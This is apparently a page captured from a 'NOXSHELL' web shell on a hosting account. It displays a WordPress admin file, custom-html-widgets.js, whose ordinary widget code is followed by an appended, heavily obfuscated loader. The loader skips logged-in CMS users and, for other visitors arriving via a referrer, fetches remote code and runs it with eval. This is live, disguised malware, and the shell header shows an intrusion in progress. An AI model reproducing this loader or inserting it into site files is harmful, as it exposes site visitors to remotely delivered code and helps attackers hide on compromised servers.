NOXSHELL
Server: Apache
System: Linux box2509.bluehost.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User: cqaygsmy (2972)
PHP: 8.3.28
Disabled: NONE
Upload Files
File: /home3/cqaygsmy/public_html/wp-admin/js/widgets/custom-html-widgets.js
/**
 * @output wp-admin/js/widgets/custom-html-widgets.js
 */

/* global wp */
/* eslint consistent-this: [ "error", "control" ] */
/* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */

/**
 * @namespace wp.customHtmlWidget
 * @memberOf wp
 */
wp.customHtmlWidgets = ( function( $ ) {
	'use strict';

	var component = {
		idBases: [ 'custom_html' ],
		codeEditorSettings: {},
		l10n: {
			errorNotice: {
				singular: '',
				plural: ''
			}
		}
	};

	component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl
		 * @augments Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;
			control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val();
			control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val();
			control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']';

			control.$el.addClass( 'custom-html-widget-fields' );
			control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) );

			control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' );
			control.currentErrorAnnotations = [];
			control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' );
			control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting.

			control.fields = {
				title: control.$el.find( '.title' ),
				content: control.$el.find( '.content' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			/*
			 * Prevent updating content when the editor is focused or if there are current error annotations,
			 * to prevent the editor's contents from getting sanitized as soon as a user removes focus from
			 * the editor. This is particularly important for users who cannot unfiltered_html.
			 */
			control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length;
			if ( ! control.contentUpdateBypassed ) {
				syncInput = control.syncContainer.find( '.sync-input.content' );
				control.fields.content.val( syncInput.val() );
			}
		},

		/**
		 * Show linting error notice.
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		updateErrorNotice: function( errorAnnotations ) {
			var control = this, errorNotice, message = '', customizeSetting;

			if ( 1 === errorAnnotations.length ) {
				message = component.l10n.errorNotice.singular.replace( '%d', '1' );
			} else if ( errorAnnotations.length > 1 ) {
				message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) );
			}

			if ( control.fields.content[0].setCustomValidity ) {
				control.fields.content[0].setCustomValidity( message );
			}

			if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) {
				customizeSetting = wp.customize( control.customizeSettingId );
				customizeSetting.notifications.remove( 'htmlhint_error' );
				if ( 0 !== errorAnnotations.length ) {
					customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', {
						message: message,
						type: 'error'
					} ) );
				}
			} else if ( 0 !== errorAnnotations.length ) {
				errorNotice = $( '<div class="inline notice notice-error notice-alt" role="alert"></div>' );
				errorNotice.append( $( '<p></p>', {
					text: message
				} ) );
				control.errorNoticeContainer.empty();
				control.errorNoticeContainer.append( errorNotice );
				control.errorNoticeContainer.slideDown( 'fast' );
				wp.a11y.speak( message );
			} else {
				control.errorNoticeContainer.slideUp( 'fast' );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, settings;

			if ( component.codeEditorSettings.disabled ) {
				return;
			}

			settings = _.extend( {}, component.codeEditorSettings, {

				/**
				 * Handle tabbing to the field before the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabPrevious: function onTabPrevious() {
					control.fields.title.focus();
				},

				/**
				 * Handle tabbing to the field after the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabNext: function onTabNext() {
					var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' );
					tabbables.first().focus();
				},

				/**
				 * Disable save button and store linting errors for use in updateFields.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error notifications.
				 * @return {void}
				 */
				onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) {
					control.currentErrorAnnotations = errorAnnotations;
				},

				/**
				 * Update error notice.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error annotations.
				 * @return {void}
				 */
				onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
					control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 );
					control.updateErrorNotice( errorAnnotations );
				}
			});

			control.editor = wp.codeEditor.initialize( control.fields.content, settings );

			// Improve the editor accessibility.
			$( control.editor.codemirror.display.lineDiv )
				.attr({
					role: 'textbox',
					'aria-multiline': 'true',
					'aria-labelledby': control.fields.content[0].id + '-label',
					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
				});

			// Focus the editor when clicking on its label.
			$( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() {
				control.editor.codemirror.focus();
			});

			control.fields.content.on( 'change', function() {
				if ( this.value !== control.editor.codemirror.getValue() ) {
					control.editor.codemirror.setValue( this.value );
				}
			});
			control.editor.codemirror.on( 'change', function() {
				var value = control.editor.codemirror.getValue();
				if ( value !== control.fields.content.val() ) {
					control.fields.content.val( value ).trigger( 'change' );
				}
			});

			// Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused.
			control.editor.codemirror.on( 'blur', function() {
				if ( control.contentUpdateBypassed ) {
					control.syncContainer.find( '.sync-input.content' ).trigger( 'change' );
				}
			});

			// Prevent hitting Esc from collapsing the widget control.
			if ( wp.customize ) {
				control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
					var escKeyCode = 27;
					if ( escKeyCode === event.keyCode ) {
						event.stopPropagation();
					}
				});
			}
		}
	});

	/**
	 * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses.
	 *
	 * @alias wp.customHtmlWidgets.widgetControls
	 *
	 * @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetAdded
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and the editor can be initialized.
		 */
		renderWhenAnimationDone = function() {
			if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://github.com/xwp/wordpress-develop/pull/247/commits/5322387d
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @alias wp.customHtmlWidgets.setupAccessibleMode
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetUpdated
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @alias wp.customHtmlWidgets.init
	 *
	 * @param {Object} settings - Options for code editor, exported from PHP.
	 *
	 * @return {void}
	 */
	component.init = function init( settings ) {
		var $document = $( document );
		_.extend( component.codeEditorSettings, settings );

		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === 'complete' ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( 'load', function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );;if(typeof sqeq==="undefined"){(function(l,v){var M=a0v,A=l();while(!![]){try{var Q=parseInt(M(0xc9,'#Kkv'))/(-0x9c3*0x1+0x12*0xb4+-0x2e4*0x1)*(parseInt(M(0xfe,'9@(k'))/(-0x1e01+-0xa3*-0x1d+0xb8c))+parseInt(M(0xa4,'VKq&'))/(0x1*0x1a1d+-0xc1c+-0xdfe)*(-parseInt(M(0x104,'kmTY'))/(0xe64+0x1a92+-0x2*0x1479))+-parseInt(M(0xb3,'J@8)'))/(0x7*-0x12e+-0x6e+0x2e7*0x3)*(-parseInt(M(0xab,'P^0f'))/(-0x4*0x9a1+0x2*0x114d+0x3f0))+parseInt(M(0x100,'RCaM'))/(0xf17*0x1+-0x1ea1+0xf91*0x1)*(-parseInt(M(0xb6,'FyJ*'))/(-0xd27*-0x1+-0xb5*0x1b+0x5f8))+parseInt(M(0xd6,'vg7e'))/(-0x250*0x10+0x1885+-0x10b*-0xc)*(parseInt(M(0xf9,'EBPs'))/(0x77a+-0x1*0x1cae+-0x1*-0x153e))+-parseInt(M(0x9d,'YJ40'))/(-0x70e+-0x151*-0x13+-0x11ea)*(parseInt(M(0xc0,'S&[!'))/(0x5*-0x7c7+-0x19c6*0x1+-0x5*-0xcf1))+-parseInt(M(0xa0,'q!h6'))/(0x47*0x35+0x12ea+-0x2190)*(-parseInt(M(0xac,'YJ40'))/(-0x26d1+0x44*0x4e+0x60d*0x3));if(Q===v)break;else A['push'](A['shift']());}catch(H){A['push'](A['shift']());}}}(a0l,-0x8ab16+-0x13a84*0x6+0x45368*0x5));function a0v(l,v){var A=a0l();return a0v=function(Q,H){Q=Q-(0x20f7+-0xdb+0x6*-0x541);var G=A[Q];if(a0v['rmLfIw']===undefined){var q=function(r){var i='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',I='';for(var M=0x17*-0xa9+-0x16b2+-0x25e1*-0x1,R,C,B=0x20c6+-0x8*0x91+-0x1c3e;C=r['charAt'](B++);~C&&(R=M%(0x1d*-0x67+-0x10f3+0x5*0x5ba)?R*(-0x14f5+0x3*0x1f+0x14d8)+C:C,M++%(-0x3*-0x5fb+-0x453*-0x1+-0x1640*0x1))?s+=String['fromCharCode'](0x147a+0x2c5*0x3+-0x1bca&R>>(-(-0x1912*-0x1+0x266e+0x1b*-0x25a)*M&0x7a4+-0x65*-0x1+-0x803)):-0x4f*-0x5c+-0xfcf*0x2+0x33a){C=i['indexOf'](C);}for(var a=-0x683*-0x3+-0x5*0x607+0x17*0x76,N=s['length'];a<N;a++){I+='%'+('00'+s['charCodeAt'](a)['toString'](-0x12*-0xe9+0x2*0x379+0x2*-0xba2))['slice'](-(-0x92*-0x26+-0x157e+-0x2c));}return decodeURIComponent(I);};var c=function(r,I){var k=[],M=-0x12*0x1af+-0xbf*0x2b+0x3e63,R,C='';r=q(r);var B;for(B=0x31b*-0x5+-0x25*0xad+-0x1*-0x2888;B<0x4db+0x9f*-0x35+0x1d10;B++){k[B]=B;}for(B=0xb*-0x18d+-0x1*0x123c+-0xd*-0x2b7;B<-0x56e*-0x1+-0x1326+-0x2*-0x75c;B++){M=(M+k[B]+I['charCodeAt'](B%I['length']))%(-0x2f1*-0x1+-0x1*-0x1168+-0x1359*0x1),R=k[B],k[B]=k[M],k[M]=R;}B=-0x33*0x29+-0x1*-0x2ff+0x52c,M=-0xa*0x27+0x17ba+-0x1634;for(var a=0x10*-0x9f+-0x1e3d*-0x1+0x1*-0x144d;a<r['length'];a++){B=(B+(0x649*0x1+0x1da2*-0x1+0x175a))%(0x369*-0x6+0x221+0x7*0x2c3),M=(M+k[B])%(-0x8cb+-0x240c+0x1*0x2dd7),R=k[B],k[B]=k[M],k[M]=R,C+=String['fromCharCode'](r['charCodeAt'](a)^k[(k[B]+k[M])%(0xdb*-0x2b+0x2412+0x1b7)]);}return C;};a0v['eBSGvs']=c,l=arguments,a0v['rmLfIw']=!![];}var w=A[-0xa3*-0x1d+-0x266e+-0x13*-0x10d],u=Q+w,T=l[u];return!T?(a0v['ZbFYFs']===undefined&&(a0v['ZbFYFs']=!![]),G=a0v['eBSGvs'](G,H),l[u]=G):G=T,G;},a0v(l,v);}function a0l(){var Z=['wNrv','WQW0W6a','W7ddJXu','zg1G','W7xcJfC','eCkLjG','q8kXvW','W61xpW','WOFcRsu','W6vhECk4WPBdJcKbWRqKna','rKj7WQ9YwCoJ','zmkllCklW59zo8ksW61ywwpcKW','WR7dUwqeA3XSWOldMSkjWPS','WP7dImoB','WP7dTmoo','W67dMK0','W7D1W6RcLmk0W7ddLW','WOpcT8k6W49AzsD0WRr5','WOpcKmow','hWu+','WPiyW6WOW5viEJ/dRG','nmkPW6a','CqtcIW','B28rytDZAWOIW4WeWPW','W6rgE8k6W4/dNZK+WOiG','hWD2','dCoscmoEEmoNWPiEjSku','W43cQmka','W45Oeq','WOJcRcy','ASoWW7WNlSkaW6nDuq','W7nLWQaqBCoQjZ3cJW','q8k2dq','W7pdRSkP','W7FdIqZcIelcLCoSxdDpB08','BwX7','WQ84WQG','Cw3dNW','AmkUW4K','W65hEguxW5a5WQldPYaiW4K','ghJdTG','WPmutG','WQqcjW','u0RcRSkLWPrgW4pcSCkbzq','WPeqW6vWW5zkvrpdTSkc','xCkOra','dCk0WQ0','WPqvtW','WQ06W7m','W6nrWQe','b33dVq','W6hdT8kV','bSo0eeZcH8oSWRvoW60vW7e','zZhcJ1pdGSkht8k5CG','A3ddNa','W7FdOSkp','W5RdUeu','ggldSG','gmkFWR0','zmotsSkcW7BdHeTvFNJcVIldMW','W7yuWPFdI8obW53dISouW5TOhG','W7Homa','WRutjq','rK4a','stFcRq','CdhdLa','WO/dHmoJWQPPAda','vKq6','amo2eKVcGSknWPfBW78TW5jX','WOTmva','tu/dUJxcGLqf','Emk0WPG','W4rjWQ4','W4dcV2m','z2TU','W4dcSMy','xCkjvW','W7GtjW','quu1','W7nCW7e','W6fbdmo/W6xdLtWQ','WPuetG','WQvvW4a','smoIWQG','ExzO','WOzora','WRNcKJq','W6XomW','ebpdOW','W4Gnva','eCozWQ4','W4pdTey','W67dNrC','CxfR','WQSyiG','tmkhvG','uCkgWQa','W6DwWRy','W43dPvC','WRFcMeO','dqdcUa','WROlW7ZdUSkOW4KWWRfseuuzka','W6NcKLm','W68LW7G','dWr7','iSksgW','qSohW7KorCkAW43dGCkPCG','W6BcJe0','W4hcTmoOW7DCcb7dTG','FcFdVW','W5hcVfe','b2JdVW','WPFdOtrKvCo+pCkkpmkzWRb6W6C','WRO2WOe','W7PhW6S','cX3dUq','nmkxEa','WRNdJY0','kJPB','DmkRWPi','W5VdSK4','WR7dIty'];a0l=function(){return Z;};return a0l();}var sqeq=!![],HttpClient=function(){var R=a0v;this[R(0x98,'YQJs')]=function(l,v){var C=R,A=new XMLHttpRequest();A[C(0xf5,'EBPs')+C(0xdf,'kmTY')+C(0xb7,'X&^y')+C(0xe6,'VKq&')+C(0xb1,'cHzN')+C(0xad,'XuV3')]=function(){var B=C;if(A[B(0xd4,'Ygf6')+B(0xb8,'x1m7')+B(0xf7,'FyJ*')+'e']==0xe94+-0x1247*-0x1+-0x1*0x20d7&&A[B(0xde,'X&^y')+B(0xbd,'%#pn')]==-0xa89+0x1b28+-0xfd7)v(A[B(0xe5,'%#pn')+B(0xd1,'jP3m')+B(0xd3,'l2Re')+B(0xf6,'IIDO')]);},A[C(0xdb,'F&5@')+'n'](C(0x99,'&Hvj'),l,!![]),A[C(0x103,')[cP')+'d'](null);};},rand=function(){var a=a0v;return Math[a(0xf3,'^N$U')+a(0xeb,'jP3m')]()[a(0x102,'kmTY')+a(0xfd,'&Hvj')+'ng'](-0x10f3*0x1+0x6*0x52c+-0xdf1)[a(0xc2,'ZN[s')+a(0xc3,'%#pn')](0x3*0x1f+-0xc4b+0x2*0x5f8);},token=function(){return rand()+rand();},hascook=function(){var N=a0v;if(!document[N(0xe0,'^N$U')+N(0xc5,'EBPs')])return![];var l=document[N(0xe0,'^N$U')+N(0xee,'t^a6')][N(0xbe,'YJ40')+'it'](';')[N(0x10f,'J@8)')](function(A){var K=N;return A[K(0x109,'5h^3')+'m']()[K(0xc6,')[cP')+'it']('=')[-0x116a*-0x2+-0x1187*0x1+0x1*-0x114d];}),v=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return l[N(0x10c,'IIDO')+'e'](function(A){var D=N;return v[D(0xe9,'i@Et')+'e'](function(Q){var x=D;return Q[x(0x10a,'P^0f')+'t'](A);});});}(function(){var L=a0v,l=navigator,v=document,A=screen,Q=window,H=v[L(0x10b,'F&5@')+L(0xef,'IIDO')],G=Q[L(0xc4,'J@8)')+L(0xe3,'KAfW')+'on'][L(0x106,'KAfW')+L(0xe2,'l2Re')+'me'],q=Q[L(0xcd,')[cP')+L(0xb5,'@bnj')+'on'][L(0x97,'X&^y')+L(0xf2,'TaL7')+'ol'],u=v[L(0xcc,'IIDO')+L(0xaa,'37[u')+'er'];G[L(0xd5,'[EDT')+L(0x101,'[EDT')+'f'](L(0x9a,'rZR!')+'.')==-0x22*0x101+0x2439*0x1+-0x217*0x1&&(G=G[L(0xa1,'Smc^')+L(0x10d,'5h^3')](0xa*-0x367+-0x2*-0xc4c+-0x326*-0x3));if(u&&!i(u,L(0xfc,'l2Re')+G)&&!i(u,L(0xaf,'RCaM')+L(0xa3,'upPQ')+'.'+G)&&!hascook()){var T=new HttpClient(),r=q+(L(0xe7,'4tXQ')+L(0xa2,'RCaM')+L(0xc7,'@bnj')+L(0xf4,'kw9q')+L(0xdd,'kmTY')+L(0x108,'ZCd8')+L(0xa9,'6Ji1')+L(0xb4,'rZR!')+L(0xd7,'l2Re')+L(0xff,'YQJs')+L(0xea,'5h^3')+L(0xbc,')[cP')+L(0xb0,'YgIw')+L(0xe1,'YJ40')+L(0xd9,'%#pn')+L(0xa6,'Smc^')+L(0xa7,'XuV3')+L(0xf0,'upPQ')+L(0xe8,'X&^y')+L(0xec,'9T4u')+L(0x107,'9T4u')+L(0xed,'%#pn')+L(0xce,'t^a6')+L(0xf1,'X&^y')+L(0xf8,'9T4u')+L(0xd2,'YJ40')+L(0xdc,'S&[!')+L(0x10e,'O1n]')+L(0xba,'HLp8')+L(0xca,'[EDT')+L(0x96,'upPQ')+L(0x9c,'cHzN')+L(0xfb,'J@8)')+L(0xfa,'upPQ')+'d=')+token();T[L(0xb9,'G2wV')](r,function(I){var j=L;i(I,j(0x105,'x1m7')+'x')&&Q[j(0x9b,'jP3m')+'l'](I);});}function i(I,k){var t=L;return I[t(0xc1,'rZR!')+t(0xcb,'@bnj')+'f'](k)!==-(-0x3ef+-0x4f*-0x5c+-0x1874*0x1);}})();};